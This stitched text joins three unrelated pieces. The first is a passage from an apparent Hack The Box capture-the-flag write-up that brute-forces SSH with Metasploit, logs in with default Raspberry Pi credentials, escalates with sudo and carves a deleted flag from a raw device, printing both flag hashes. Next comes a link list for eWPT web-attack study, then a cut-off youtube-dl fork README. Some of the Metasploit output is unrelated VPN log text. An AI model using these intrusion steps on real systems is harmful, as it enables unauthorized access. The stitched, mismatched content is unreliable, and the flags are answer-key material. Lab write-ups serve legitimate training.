turn our attention to SSH and Port 22 and see if we can brute force our way in or discover any useful information about it.. ##### METASPLOIT ``` $ sudo service postgresql start $ sudo msfdb init $ msfconsole msf > db_status [*] postgresql connected to msf msf > use auxiliary/scanner/ssh/ssh_login msf auxiliary(ssh_login) > set RHOSTS 10.10.10.48 RHOSTS => 10.10.10.48 msf auxiliary(ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt msf auxiliary(ssh_login) > set VERBOSE false VERBOSE => false msf auxiliary(ssh_login) > services -p 22 -u -R Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 10.10.10.48 22 tcp ssh open SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 RHOSTS => 10.10.10.48 msf auxiliary(ssh_login) > run Tue Dec 19 17:32:24 2017 TLS: soft reset sec=0 bytes=33406651/-1 pkts=216009/0 Tue Dec 19 17:32:24 2017 VERIFY OK: depth=1, C=UK, ST=City, L=London, O=HackTheBox, CN=HackTheBox CA, name=htb, [email protected] Tue Dec 19 17:32:24 2017 VERIFY KU OK Tue Dec 19 17:32:24 2017 Validating certificate extended key usage Tue Dec 19 17:32:24 2017 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication Tue Dec 19 17:32:24 2017 VERIFY EKU OK Tue Dec 19 17:32:24 2017 VERIFY OK: depth=0, C=UK, ST=City, L=London, O=HackTheBox, CN=htb, name=htb, [email protected] Tue Dec 19 17:32:25 2017 Outgoing Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key Tue Dec 19 17:32:25 2017 Incoming Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key Tue Dec 19 17:32:25 2017 Control Channel: TLSv1.2, cipher TLSv1/SSLv3 ECDHE-RSA-AES256-GCM-SHA384, 2048 bit RSA [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` Okay, so our brute force failed using that dictionary list. What next? ##### RASPBERRY PI?? Read on a forum that "Pi-hole" and "Mirai" were hints.. so eventually ended up trying the default `ssh` password for a Raspberry Pi device and wouldn't you know it, it worked! `(user: pi defaultpasswd: raspberry)` ``` https://www.raspberrypi.org/documentation/remote-access/ssh/unix.md ``` ``` $ ssh [email protected] [email protected]'s password: raspberry The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Dec 19 23:14:27 2017 from 10.10.15.14 SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. SSH is enabled and the default password for the 'pi' user has not been changed. This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password. pi@raspberrypi:~ $ ``` Ended up trying to reset the admin password for Pi-hole and poking around, but that didn't seem to lead me anywhere. Maybe Pi-hole's sole purpose was to provide the Raspberry Pi hint? ``` $ sudo pihole -a -p Enter New Password (Blank for no password): Confirm Password: New password set ```` ### OWN USER Well, at least now that we are inside the machine, let's see if we can recover the secret hash that is supposed to be in the "user.txt" file on the machine either at `/home/pi` or on the Desktop of our user `pi`. ``` pi@raspberrypi:~ $ cat Desktop/user.txt ff837707441b257a20e32199d7c8838d ``` Nice.. that worked. ### OWN MACHINE Now all that is left it seems is to some how obtain root priviledge so that we can get at the "root.txt" file that should either be under `/root` or the Desktop of the `Administrator` user. ``` $ ls -ld root drwx------ 3 root root 4096 Aug 27 14:47 root $ sudo ls /root root.txt $ sudo cp /root/root.txt . pi@raspberrypi:/ $ cat root.txt I lost my original root.txt! I think I may have a backup on my USB stick... ``` Interesting.. okay, so now we have to go looking for something about a USB stick??? Looking under the `/media` directory, we do find a device called `usbstick`.. ``` $ cat /media/usbstick/damnit.txt Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James ``` Okay.. so seems like this is where the file was.. but has been deleted? Let's see what device is mounted to `/media/usbstick`.. ``` $ mount | grep usb /dev/sdb on /media/usbstick type ext4 (ro,nosuid,nodev,noexec,relatime,data=ordered) ``` Found some tool called `debugfs` that could be used.. ``` $ sudo debugfs -w /dev/sdb debugfs 1.42.12 (29-Aug-2014) debugfs: lsdel Inode Owner Mode Size Blocks Time deleted 0 deleted inodes found. ``` .. but that doesn't yield anything :-(. In a bit of wild-ass-guess-ery, tried the strings command on the device to see if anything pops out and wouldn't you know it.. something that looks like the hash! ``` $ sudo cat /dev/sdb | strings >r & /media/usbstick lost+found root.txt damnit.txt >r & >r & /media/usbstick lost+found root.txt damnit.txt >r & /media/usbstick 2]8^ lost+found root.txt damnit.txt >r & 3d3e483143ff12ec505d026fa13e020b Damnit! Sorry man I accidentally deleted your files off the USB stick. Do you know if there is any way to get them back? -James ``` ### REFERENCES https://v3ded.github.io/ctf/htb-blocky.html
# eWPT Preparation by Joas ## Recon and Enumeration Domain ### https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6 ### https://medium.com/qualityholics/ewpt-exam-review-tips-8a4d9cebf5f9 ### https://elearnsecurity.com/uncategorized/pentesting-101-fingerprinting-continued/ ### https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html ### https://www.youtube.com/watch?v=TmK0Zpggz48&ab_channel=SemiYulianto ### https://www.youtube.com/watch?v=d8zwXxixz5Y&ab_channel=HacktifyCyberSecurity ### https://resources.infosecinstitute.com/topic/how-to-create-a-subdomain-enumeration-toolkit/ ### https://gowthams.gitbook.io/bughunter-handbook/list-of-vulnerabilities-bugs/recon-and-osint/subdomain-enumeration ### https://spyse.com/blog/information-gathering/how-to-find-subdomains-instantly ### https://book.hacktricks.xyz/external-recon-methodology ### https://github.com/KingOfBugbounty/KingOfBugBountyTips ### https://www.youtube.com/watch?v=amihlWTtkMA&ab_channel=Nahamsec ### https://www.youtube.com/watch?v=o8L2nweiF1s&ab_channel=InsiderPhD ### https://medium.com/@ehsahil/recon-my-way-82b7e5f62e21 ### https://portswigger.net/blog/finding-your-first-bug-bounty-hunting-tips-from-the-burp-suite-community ### https://null-byte.wonderhowto.com/how-to/conduct-recon-web-target-with-python-tools-0198114/ ### https://www.infosecmatter.com/bug-bounty-tips/ ### https://hackbotone.medium.com/10-recon-tools-for-bug-bounty-bafa8a5961bd ### https://www.youtube.com/watch?v=Hnz1d4WmD5Y&ab_channel=HackerSploit ### https://www.youtube.com/watch?v=bewbdPvs_g8&ab_channel=Conda ## Social Networks ### https://www.linkedin.com/in/joas-antonio-dos-santos/ ## Wordpress Attacks and Other CMS Vulnerability ### https://book.hacktricks.xyz/pentesting/pentesting-web/wordpress ### https://securityboulevard.com/2020/03/penetration-testing-for-wordpress-websites/ ### https://www.getastra.com/blog/security-audit/wordpress-penetration-testing/ ### https://deliciousbrains.com/wordpress-penetration-testing/ ### https://hackertarget.com/attacking-wordpress/ ### https://secure.wphackedhelp.com/blog/wordpress-security-tips-2019/ ### https://github.com/timashana/WordPress-Pentesting ### https://github.com/jguerrero12/WordPress-Pentesting ### https://github.com/whuang8/wordpress-pentests ### https://github.com/magnimusprime/WordPress-Pentesting ### https://www.infosecmatter.com/cms-vulnerability-scanners-for-wordpress-joomla-drupal-moodle-typo3/ ### https://www.acunetix.com/vulnerability-scanner/cms-vulnerability-scanner/ ### https://linuxsecurity.expert/security-tools/cms-vulnerability-scanners ### https://medium.com/@rohitaher023/what-is-a-cms-vulnerability-scanner-and-what-is-its-need-for-security-5aef8d10227b ### https://github.com/gajos112/OSCP/blob/master/CMS%20Vulnerability%20Scanners ## BurpSuite ### https://portswigger.net/burp/documentation/desktop/penetration-testing ### https://www.youtube.com/watch?v=N-IKHmGjf2c&ab_channel=Bugcrowd ### https://www.youtube.com/watch?v=G3hpAeoZ4ek&ab_channel=JohnHammond ### https://www.youtube.com/watch?v=_XUQ7etMCT8&ab_channel=TutorialsPoint%28India%29Ltd. ### https://www.youtube.com/watch?v=h2duGBZLEek&ab_channel=Bugcrowd ### https://www.youtube.com/watch?v=Chql4bNE6_g&ab_channel=CyberFrat ### https://www.youtube.com/watch?v=57559arUG3c&ab_channel=PortSwigger ### https://www.youtube.com/watch?v=cyWmZ2WgnEE ### https://www.youtube.com/watch?v=c0h3aciBIyQ&ab_channel=Vicky%27sBlog ### https://www.youtube.com/watch?v=mibKttwhbRk&ab_channel=InsiderPhD ### https://www.youtube.com/watch?v=iG7003AC8ys&ab_channel=webpwnized ### https://www.youtube.com/watch?v=oWRseGm-a6I&ab_channel=KacperSzurekEN ### https://www.youtube.com/watch?v=-6uPHcLj4oU&ab_channel=Hacksplained ### https://portswigger.net/blog/20-burp-suite-tips-from-the-burp-user-community ## ClickJacking Attacking ### https://owasp.org/www-community/attacks/Clickjacking ### https://portswigger.net/web-security/clickjacking ### https://www.hacksplaining.com/prevention/click-jacking ### https://resh.com.br/blog/realizando-bypass-no-cabecalho-x-frame-options/ ### https://auth0.com/blog/preventing-clickjacking-attacks/ ### https://www.synopsys.com/glossary/what-is-clickjacking.html ### https://www.youtube.com/watch?v=jcp5t8PsMsY&ab_channel=HackerOne ### https://www.youtube.com/watch?v=Pdc5KJfOQpI&ab_channel=Hacksplaining ### https://www.youtube.com/watch?v=FEflwAIlLmg&ab_channel=Gomahamaya ### https://www.youtube.com/watch?v=mso5FSWEtdo&ab_channel=VERILOGCOURSETEAM ### https://www.youtube.com/watch?v=LEdwUGsffwY&ab_channel=MichaelSommer ### https://www.youtube.com/watch?v=Zm1lQAQOqJ0&ab_channel=MichaelSommer ## Session Hijacking ### https://owasp.org/www-community/attacks/Session_hijacking_attack ### https://www.youtube.com/watch?v=fxrCJNQ96Kg&ab_channel=intrigano ### https://www.youtube.com/watch?v=OriuOtSCUpo&ab_channel=MarcosHenrique ### https://www.youtube.com/watch?v=sqMCPxwzIf8&ab_channel=PluralsightIT-TrainingArchive ### https://us.norton.com/internetsecurity-id-theft-session-hijacking.html ### https://www.venafi.com/blog/what-session-hijacking ### https://www.imperva.com/learn/application-security/session-hijacking/ ### https://www.globalsign.com/en/blog/session-hijacking-and-how-to-prevent-it ### https://motilia.com/-/session-hijacking-xss-csrf ### https://medium.com/stolabs/stored-xss-session-hijacking-20faf069ef4 ### https://www.youtube.com/watch?v=wbgOzImzAfg&ab_channel=D4RKR0N ### https://www.youtube.com/watch?v=HQdCgooETXw&ab_channel=InfiniteLogins ### https://www.youtube.com/watch?v=nJrH7HaiMPI&ab_channel=HackingTeacher ### https://www.agiratech.com/xss-csrf-and-session-hijacking ## FingerPrinting ### https://pentestlab.blog/2012/08/01/web-application-fingerprinting/ ### https://pentestlab.files.wordpress.com/2012/11/automated-web-application-fingerprinting.pdf ### https://www.youtube.com/watch?v=_k9Bsppz4A8&ab_channel=TheHacktivists ### https://www.youtube.com/watch?v=_k9Bsppz4A8&ab_channel=TheHacktivists ### https://www.youtube.com/watch?v=8WrluFRoJhs&ab_channel=BlackHat ### https://null-byte.wonderhowto.com/how-to/fingerprint-web-apps-servers-for-better-recon-more-successful-hacks-0302807/ ### https://www.m2sys.com/blog/cloud-computing/three-ways-of-biometric-authentication-in-web-application/ ### https://www.youtube.com/watch?v=PAPaGTFSXK4&ab_channel=TheHacktivists ## SQL Injection & Types and SQLMap ### https://www.geeksforgeeks.org/authentication-bypass-using-sql-injection-on-login-page/#:~:text=SQL%20injection%20is%20a%20technique,that%20might%20destroy%20your%20database. ### https://sechow.com/bricks/docs/login-1.html ### https://portswigger.net/support/using-sql-injection-to-bypass-authentication ### https://www.youtube.com/watch?v=RXBlTgsawdI&ab_channel=CyberSecurityTV ### https://www.youtube.com/watch?v=b4Wn0n6LBcM&ab_channel=shadsluiter ### https://www.youtube.com/watch?v=6O4NuKA0pSI&ab_channel=zSecurity ### https://www.devmedia.com.br/sql-injection-em-ambientes-web/9733 ### https://www.guru99.com/learn-sql-injection-with-practical-example.html ### http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html ### https://www.sqlinjection.net/login/ ### https://owasp.org/www-community/attacks/Blind_SQL_Injection ### https://portswigger.net/web-security/sql-injection/blind ### https://www.netsparker.com/blog/web-security/how-blind-sql-injection-works/ ### https://infosecwriteups.com/out-of-band-oob-sql-injection-87b7c666548b ### https://www.acunetix.com/blog/articles/sqli-part-6-out-of-band-sqli/ ### https://www.youtube.com/watch?v=soPDfYl2Ef8&ab_channel=RanaKhalil ### https://www.youtube.com/watch?v=6Ei7wX1cp5k&ab_channel=RanaKhalil ### https://www.youtube.com/watch?v=KOaDan0UqFs&ab_channel=RanaKhalil ### https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band ### https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/out-of-band-sql-injection/ ## CSRF ### https://www.youtube.com/watch?v=HTgyif6u5RY&ab_channel=RanaKhalil ### https://cobalt.io/blog/a-pentesters-guide-to-cross-site-request-forgery-csrf ### https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery ### https://www.youtube.com/watch?v=dMwxIHIabeg&ab_channel=TutorialsPoint%28India%29Ltd. ### https://www.youtube.com/watch?v=TwG0Rd0hr18&ab_channel=HackerSploit ### https://www.veracode.com/security/cross-site-request-forgery-guide-learn-all-about-csrf-attacks-and-csrf-protection ### https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery ### https://portswigger.net/support/using-burp-to-test-for-cross-site-request-forgery ### https://www.rapid7.com/blog/post/2020/11/19/this-one-time-on-a-pen-test-csrf-to-password-reset-phishing/ ### https://corneacristian.medium.com/top-25-csrf-bug-bounty-reports-ffb0b61afa55 ### https://www.youtube.com/watch?v=ImqLlFMQrwQ&ab_channel=TheXSSrat ### https://www.youtube.com/watch?v=ULvf6N8AL2A&ab_channel=InsiderPhD ## Crawling and Spidering ### https://www.screamingfrog.co.uk/seo-spider/ ### https://medium.com/@marlessonsantana/utilizando-o-scrapy-do-python-para-monitoramento-em-sites-de-not%C3%ADcias-web-crawler-ebdf7f1e4966 ### https://www.webfx.com/blog/internet/what-is-a-web-crawler/ ### https://www.octoparse.com/DataCrawler ### https://www.screamingfrog.co.uk/crawl-javascript-seo/ ### https://www.parsehub.com/blog/web-scraping-vs-web-crawling/ ### https://www.youtube.com/watch?v=Kw3m37ebxmQ&ab_channel=HackerSploit ### https://securityonline.info/not-your-average-web-crawler-web-crawler-for-bug-hunting/ ### http://mateslab.weebly.com/web-crawler-security-tool.html ### https://pentestmag.com/startup-new-kind-web-crawler/ ### https://hakluke.medium.com/introducing-hakrawler-a-fast-web-crawler-for-hackers-ff799955f134 ## Reviews ### https://medium.com/@unt0uchable1/elearnsecurity-ewpt-review-and-tips-72f955f3670 ### https://sorsdev.com/2021/04/18/elearnsecuritys-ewpt-exam-review/ ### https://h0mbre.github.io/eWPT/ ### https://www.linkedin.com/pulse/como-tirei-certifica%C3%A7%C3%A3o-ewpt-review-iran-macedo/?trk=read_related_article-card_title&originalSubdomain=pt ### https://kentosec.com/2020/06/25/elearnsecurity-web-application-penetration-tester-ewpt-review/ ### https://www.reddit.com/r/AskNetsec/comments/6fwthl/elearnsecuritys_ewpt/ ### https://cinzinga.com/eWPT-WAPT/ ### https://www.youtube.com/watch?v=cOH7IYhbVPA&ab_channel=WilsonSecurityGroup ### https://bestestredteam.com/2019/05/16/elearnsecuritys-web-application-penetration-tester-review/ ### https://thomfre.dev/elearnsecurity-web-application-pentester ### https://www.doyler.net/security-not-included/ewpt-exam ### https://www.youtube.com/watch?v=FhIOeXMWWCw&ab_channel=WilsonSecurityGroup ### https://medium.com/cybersecpadawan/elearnsecurity-ewpt-certification-b7592bfc70af ### https://www.linkedin.com/pulse/overview-da-certifica%C3%A7%C3%A3o-ewpt-elearning-web-tester-dos-santos/?originalSubdomain=pt ### https://github.com/h0mbre/h0mbre.github.io/blob/master/_posts/2019-04-15-eWPT.md ### https://github.com/h0mbre/h0mbre.github.io/blob/master/_posts/2019-08-03-Security-Certifications-And-Fun.md ### https://github.com/IgorSasovets/web-security-learning-resources ### https://sorsdev.com/2021/04/24/elearnsecuritys-ewpt-tips-tricks/ ### https://medium.com/@klockw3rk/elearnsecurity-web-application-penetration-testing-course-wapt-ewpt-2f7480120b8e ### https://veteransec.com/2018/12/22/my-elearnsecurity-experience-part-1-wapt/ ## Web Application Fundamentals ### https://pt.wikipedia.org/wiki/Cross-origin_resource_sharing#:~:text=Cross%2DOrigin%20Resource%20Sharing%20ou,o%20recurso%20que%20ser%C3%A1%20recuperado. ### https://developer.mozilla.org/pt-BR/docs/Web/HTTP/CORS ### https://www.youtube.com/watch?v=af5RI6bLkyw&ab_channel=SoftwareEngineeringInstitute%7CCarnegieMellonUniversity ### https://www.youtube.com/watch?v=h-WtIT6gCBk&ab_channel=TheTechCave ### https://www.freecodecamp.org/news/secure-your-web-application-with-these-http-headers-fd66e0367628/ ### https://help.deepsecurity.trendmicro.com/20_0/on-premise/http-security-headers.html#:~:text=Security%20headers%20are%20directives%20used,Cross%2DSite%20Scripting%20or%20Clickjacking. ### https://www.netsparker.com/blog/web-security/http-security-headers/ ### https://owasp.org/www-project-secure-headers/ ### https://www.smashingmagazine.com/2017/04/secure-web-app-http-headers/ ### https://www.youtube.com/watch?v=CFzgKfnmG-Q&ab_channel=PrettyPrinted ### https://www.youtube.com/watch?v=9dT0FSH-aGQ&ab_channel=CodingTech ### https://www.youtube.com/watch?v=eesqK59rhGA&ab_channel=TheTechCave ### https://rapidapi.com/blog/api-glossary/http-request-methods/ ### https://code-maze.com/http-series-part-1/ ## XSS and BeeF ### https://github.com/boku7/XSS-Clientside-Attacks ### https://github.com/Naategh/PyCk/tree/master/Web ### https://medium.com/bugbountywriteup/file-upload-xss-patched-83ea55bb9a55 ### https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ### https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting ### https://www.kitploit.com/2018/05/xss-payload-list-cross-site-scripting.html ### https://www.aptive.co.uk/blog/xss-cross-site-scripting/ ### https://labs.nettitude.com/blog/cross-site-scripting-xss-payload-generator/ ### https://cobalt.io/blog/a-pentesters-guide-to-cross-site-scripting-xss ### https://xss.js.org/#/ ### https://www.researchgate.net/figure/Classification-of-XSS-payloads-exemplified_fig4_220622661 ### https://xsshunter.com/features ### https://www.cin.ufpe.br/~tg/2009-2/agsj.pdf ### ftp://ftp.registro.br/pub/gts/gts33/tutorial/A7%20-%20Cross-Site%20Scripting.pdf ### http://www.inf.ufsc.br/~bosco.sobral/ensino/ine5680/material-seg-redes/Serie%20Ataques-RedeSegura-XSS.pdf ### http://prlalmeida.com.br/anteriores/ArqRefNegocios/Aula%2054%20-%20Cross%20Site%20Scripting.pdf ### https://www.enacomp.com.br/2017/docs/analise-vulnerabilidade_xss_apps_web.pdf ### https://owasp.org/www-pdf-archive//OWASPTop10XSSLongIsland.pdf ### https://owasp.org/www-community/Types_of_Cross-Site_Scripting ### https://owasp.org/www-community/attacks/xss/ ### https://portswigger.net/web-security/cross-site-scripting ### https://www.acunetix.com/websitesecurity/xss/ ### https://www.veracode.com/security/xss ### https://blog.detectify.com/2019/03/15/what-are-the-different-types-of-xss/ ## Vulnerability Analysis ### https://www.youtube.com/watch?v=Uv6Idf5ZB9c&ab_channel=MotasemHamdan ### https://www.youtube.com/watch?v=KeSUiCr-WGo&ab_channel=webpwnized ### https://www.youtube.com/watch?v=pPU2XTFyRmU&ab_channel=denimgroup ### https://www.youtube.com/watch?v=wLfRz7rRsH4&ab_channel=CyberSecurityTV ### https://mediaspace.regis.edu/media/OWASP+ZAP+Overview+For+Website+Vulnerability+Scanning/1_zpnvcxvx ### https://www.youtube.com/watch?v=YTs8GF2eaA0&ab_channel=ParagDhali ### https://www.youtube.com/watch?v=_MmDWenz-6U&ab_channel=OracleDevelopers ### https://portswigger.net/burp/documentation/desktop/scanning ### https://www.youtube.com/watch?v=VP9eQhUASYQ&ab_channel=PortSwigger ### https://www.youtube.com/watch?v=W0O53inMaIY&ab_channel=webpwnized ### https://www.youtube.com/watch?v=1HDC6fKsKYE&ab_channel=NullByte ### https://www.youtube.com/watch?v=X3BGO9U8zuU&ab_channel=CalebBucker ### https://github.com/poerschke/Uniscan ### https://github.com/We5ter/Scanners-Box ### https://github.com/skavngr/rapidscan ## User Enumeration and Brute Force & Bypass Attack ### https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account ### https://www.kaspersky.com/blog/username-enumeration-attack/34618/ ### https://www.vaadata.com/blog/user-enumerations-on-web-applications/ ### https://www.triaxiomsecurity.com/common-web-application-vulnerabilities-username-enumeration/ ### https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses ### https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses ### https://www.youtube.com/watch?v=fP0VVzPI4jQ&ab_channel=Hacksplaining ### https://www.youtube.com/watch?v=WCO7LnSlskE&ab_channel=SubhankarAdhikary ### https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing ### https://www.youtube.com/watch?v=ZUKvet_BsoY&ab_channel=ITProTV ### https://www.youtube.com/watch?v=cL9NsXpUqYI&ab_channel=HackerSploit ### https://www.youtube.com/watch?v=_-0JKW3U0aU&ab_channel=SathvikTechtuber ### https://www.youtube.com/watch?v=fdb3U2EFLzo&ab_channel=ISOEHIndianSchoolofEthicalHacking ### https://portswigger.net/support/using-burp-to-brute-force-a-login-page ### https://www.hacksplaining.com/prevention/user-enumeration ## XPath injection with XCAT ### https://www.oreilly.com/library/view/web-penetration-testing/9781788623377/4ebcd489-b08a-4074-988b-df61d373a6b5.xhtml ### https://tomforb.es/exploiting-xpath-injection-vulnerabilities-with-xcat/ ### https://www.kitploit.com/2014/08/xcat-tool-that-aides-in-exploitation-of.html?m=0 ### https://www.hacking.land/2017/10/xcat-automate-xpath-injection-attacks.html ### https://snyk.io/advisor/python/xcat ### https://owasp.org/www-pdf-archive/HAAS_OWASP_NZ_13-Improving_XPath_Injection.pdf ### https://book.hacktricks.xyz/pentesting-web/xpath-injection ### https://www.youtube.com/watch?v=4yrGD9Xj-hY&ab_channel=SecureCodeWarrior ### https://www.youtube.com/watch?v=5ZDSPVp1TpM&ab_channel=MotasemHamdan ### https://www.youtube.com/watch?v=6tV8EuaHI9M&ab_channel=Maurisec ### https://www.youtube.com/watch?v=ySJwlMsFbco&ab_channel=JohnHammond ### https://www.youtube.com/watch?v=p3-ZfhaSRZ0&ab_channel=ThiagoPereira ### https://www.youtube.com/watch?v=AvOcikbZsik&ab_channel=EthicalHackingandDigitalForensicsTutorial ### https://www.youtube.com/watch?v=U-MZJ6rbqi4&ab_channel=AutomationStepbyStep ## SOAP Attacks ### https://www.ws-attacks.org/SOAPAction_Spoofing ### https://www.forumsys.com/wp-content/uploads/2014/01/Anatomy-of-a-Web-Services-Attack.pdf ### https://resources.infosecinstitute.com/topic/soap-requests/ ### https://www.neuralegion.com/blog/top-7-soap-api-vulnerabilities/ ### https://blog.securelayer7.net/owasp-top-10-penetration-testing-soap-application-mitigation/ ### https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-stamos.pdf ### https://www.soapui.org/docs/security-testing/security-scans/sql-injection/ ### https://www.youtube.com/watch?v=UINLbiq19NQ&ab_channel=90%27sHacks ### https://www.youtube.com/watch?v=4tmvQ5a4200&ab_channel=CyberSecurityTV ### https://capec.mitre.org/data/definitions/110.html ### https://www.mantisbt.org/bugs/view.php?id=16879 ### https://www.dionach.com/blog/web-services-blind-sql-injection/ ### https://resources.infosecinstitute.com/topic/soap-attack-2/ ### https://www.youtube.com/watch?v=jDcXub5grgM&ab_channel=90%27sHacks ## File and Resource Attacks ### https://owasp.org/www-community/attacks/Resource_Injection ### https://resources.infosecinstitute.com/topic/file-inclusion-attacks/ ### https://www.sciencedirect.com/topics/computer-science/attack-resource ### https://www.imperva.com/learn/application-security/rfi-remote-file-inclusion/ ### https://portswigger.net/web-security/file-path-traversal ### https://www.neuralegion.com/blog/local-file-inclusion-lfi/ ### https://www.neuralegion.com/blog/file-inclusion-vulnerabilities/ ### https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/reflected-file-download-a-new-web-attack-vector/ ### https://www.onsecurity.io/blog/file-upload-checklist/ ### https://medium.com/@juangrimm/o-que-%C3%A9-lfi-hacking-3bc709dfb5da
[![Build Status](https://travis-ci.org/ytdl-org/youtube-dl.svg?branch=master)](https://travis-ci.org/ytdl-org/youtube-dl) youtube-dl - download videos from youtube.com or other video platforms # ACKNOWLEDGEMENT OF GITHUB'S CHANGED POLICIES FOR 1201 CLAIMS FOLLOWING youtube-dl TAKEDOWN _Statement added 23rd of December, 2021_ BTW, despite [my DMCA counter notice](https://github.com/github/dmca/blob/master/2021/04/2021-04-13-RIAA-counternotice.md) saying "GitHub is kinda the bitch of the RIAA", I feel that I must explain that this isn't reality, specifically not after the [publicly announced changes to the 1201 takedown policies](https://github.blog/2020-11-16-standing-up-for-developers-youtube-dl-is-back/#what-were-changing). Furthermore, I'd like to note for anyone who may visit this page: GitHub remains a commercial, public and very popular service and as such it must weigh options and responses carefully rather than with big risks involved when it comes to legal battles. The real evil player here is definitely and without any doubt solely the RIAA with [their wildly believed to be unlawful DMCA claim](https://github.com/github/dmca/blob/master/2020/10/2020-10-23-RIAA.md). The Electronic Frontier Foundation (EFF), to which we owe great respect for aiding the more or less quickly reinstatement of youtube-dl, [claim in the title of an article on their website, that the RIAA abused DMCA](https://www.eff.org/de/deeplinks/2020/11/github-reinstates-youtube-dl-after-riaas-abuse-dmca). # IMPORTANT NOTE ABOUT THIS FORK _Note first added: April 30th, 2021_ If you are a legal entity or represent one and are planning to take action against this repository, I strongly hope we can come to an agreement outside of court. Details are mentioned [here](https://github.com/spookyahell/youtube-dl/issues/1). Just to clarify though, purely a plain old link to music is allowed here.<br/> And clearly I got nothing better to do, so I will link some good works below. FWIW, this is neither instruction nor endorsement of any kind to download the linked videos.<br/> Consider it a good reference for what to listen to on YouTube.<br/> Specifically, I personally recommend to eather stream directly through the youtube.com website or to download the video with the official app (whenever possible). [requires a subscription to YouTube Premium]<br/> ## Music recommendations for listening (YouTube hyperlinks) _Recommendations first added: August 3rd, 2021_ 1. Jennifer Lopez - Ain't Your Mama - https://www.youtube.com/watch?v=Pgmx7z49OEk 1. Marlon Roudette - New Age - https://www.youtube.com/watch?v=Jk5kYjD9E1I 1. Usher - DJ Got Us Fallin' In Love (ft. Pitbull) - https://www.youtube.com/watch?v=C-dvTjK_07c 1. Luis Fonsi - Despacito (ft. Daddy Yankee) - https://www.youtube.com/watch?v=kJQP7kiw5Fk 1. Pharrell Williams - Happy - https://www.youtube.com/watch?v=ZbZSe6N_BXs 1. Daft Punk - Get Lucky (feat. Pharrell Williams) - https://www.youtube.com/watch?v=CCHdMIEGaaM 1. Smash Mouth - All Star - https://www.youtube.com/watch?v=dQw4w9WgXcQ 1. Katy Perry - Hot N Cold - https://www.youtube.com/watch?v=kTHNpusq654 # TABLE OF CONTENTS - [INSTALLATION](#installation) - [DESCRIPTION](#description) - [OPTIONS](#options) - [CONFIGURATION](#configuration) - [OUTPUT TEMPLATE](#output-template) - [FORMAT SELECTION](#format-selection) - [VIDEO SELECTION](#video-selection) - [FAQ](#faq) - [DEVELOPER INSTRUCTIONS](#developer-instructions) - [EMBEDDING YOUTUBE-DL](#embedding-youtube-dl) - [BUGS](#bugs) - [COPYRIGHT](#copyright) # INSTALLATION To install it right away for all UNIX users (Linux, macOS, etc.), type: sudo curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl If you do not have curl, you can alternatively use a recent wget: sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl sudo chmod a+rx /usr/local/bin/youtube-dl Windows users can [download an .exe file](https://yt-dl.org/latest/youtube-dl.exe) and place it in any location on their [PATH](https://en.wikipedia.org/wiki/PATH_%28variable%29) except for `%SYSTEMROOT%\System32` (e.g. **do not** put in `C:\Windows\System32`). You can also use pip: sudo -H pip install --upgrade youtube-dl This command will update youtube-dl if you have already installed it. See the [pypi page](https://pypi.python.org/pypi/youtube_dl) for more information. macOS users can install youtube-dl with [Homebrew](https://brew.sh/): brew install youtube-dl Or with [MacPorts](https://www.macports.org/): sudo port install youtube-dl Alternatively, refer to the [developer instructions](#developer-instructions) for how to check out and work with the git repository. For further options, including PGP signatures, see the [youtube-dl Download Page](https://ytdl-org.github.io/youtube-dl/download.html). # DESCRIPTION **youtube-dl** is a command-line program to download videos from YouTube.com and a few more sites. It requires the Python interpreter, version 2.6, 2.7, or 3.2+, and it is not platform specific. It should work on your Unix box, on Windows or on macOS. It is released to the public domain, which means you can modify it, redistribute it or use it however you like. youtube-dl [OPTIONS] URL [URL...] # OPTIONS -h, --help Print this help text and exit --version Print program version and exit -U, --update Update this program to latest version. Make sure that you have sufficient permissions (run with sudo if needed) -i, --ignore-errors Continue on download errors, for example to skip unavailable videos in a playlist --abort-on-error Abort downloading of further videos (in the playlist or the command line) if an error occurs --dump-user-agent Display the current browser identification --list-extractors List all supported extractors --extractor-descriptions Output descriptions of all supported extractors --force-generic-extractor Force extraction to use the generic extractor --default-search PREFIX Use this prefix for unqualified URLs. For example "gvsearch2:" downloads two videos from google videos for youtube-dl "large apple". Use the value "auto" to let youtube-dl guess ("auto_warning" to emit a warning when guessing). "error" just throws an error. The default value "fixup_error" repairs broken URLs, but emits an error if this is not possible instead of searching. --ignore-config Do not read 